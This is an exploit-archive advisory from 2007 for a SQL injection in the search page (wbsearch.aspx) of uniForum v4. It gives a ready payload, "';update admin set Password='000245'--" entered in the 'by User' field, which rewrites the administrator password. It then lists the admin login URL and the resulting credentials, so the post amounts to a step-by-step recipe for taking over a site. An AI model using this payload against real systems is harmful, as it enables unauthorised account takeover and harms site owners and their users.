[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Published : 2007-01-09
# Author : ajann
# Previous Title : PPC Search Engine 1.61 (INC) Multiple Remote File Include Vulnerabilities
# Next Title : Axiom Photo/News Gallery 0.8.6 Remote File Include Exploit
*******************************************************************************
# Title : uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability
# Author : ajann
# Contact : :(
# S.Page : ...
# Vendor : http://uniforum.biz/
# $$ : $99
*******************************************************************************
[[SQL]]]---------------------------------------------------------
http://[target]/[path]//wbsearch.aspx (POST Method) [SQL]
Example:
//Fin the ->wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'--
Login Admin:http://www.xxx.com/[path]/wbadmlog.aspx
Username: Administrator
Password: 000245
[[/SQL]]
"""""""""""""""""""""
# ajann,Turkey
# ...
# Im not Hacker!
# www.Syue.com [2007-01-09]